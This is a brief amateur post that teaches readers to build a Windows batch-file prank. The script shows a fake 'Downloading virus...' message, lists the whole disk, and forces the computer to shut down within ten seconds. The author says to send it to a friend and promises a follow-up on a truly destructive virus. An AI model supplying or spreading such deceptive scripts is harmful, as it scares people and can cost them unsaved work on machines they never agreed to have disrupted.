Hacking with notepad!

Hi world, and today I will show you how to create a little hack.
Ok at first my post I will write how to create a "toy" if you want to joke!
Instruction:
1. Open notepad.
2. Save document not on TXT digital
3. Save document like this: *.bat; * - name of file.
4. Write this:
@echo
echo Downloading virus...
ping localhost. -n 5 >nul
dir /s
shutdown -s -t 10 -c "virus completed"
Than save document and send to your friend.
At next post, I will write how to create real dangerous virus, which can destroy compute.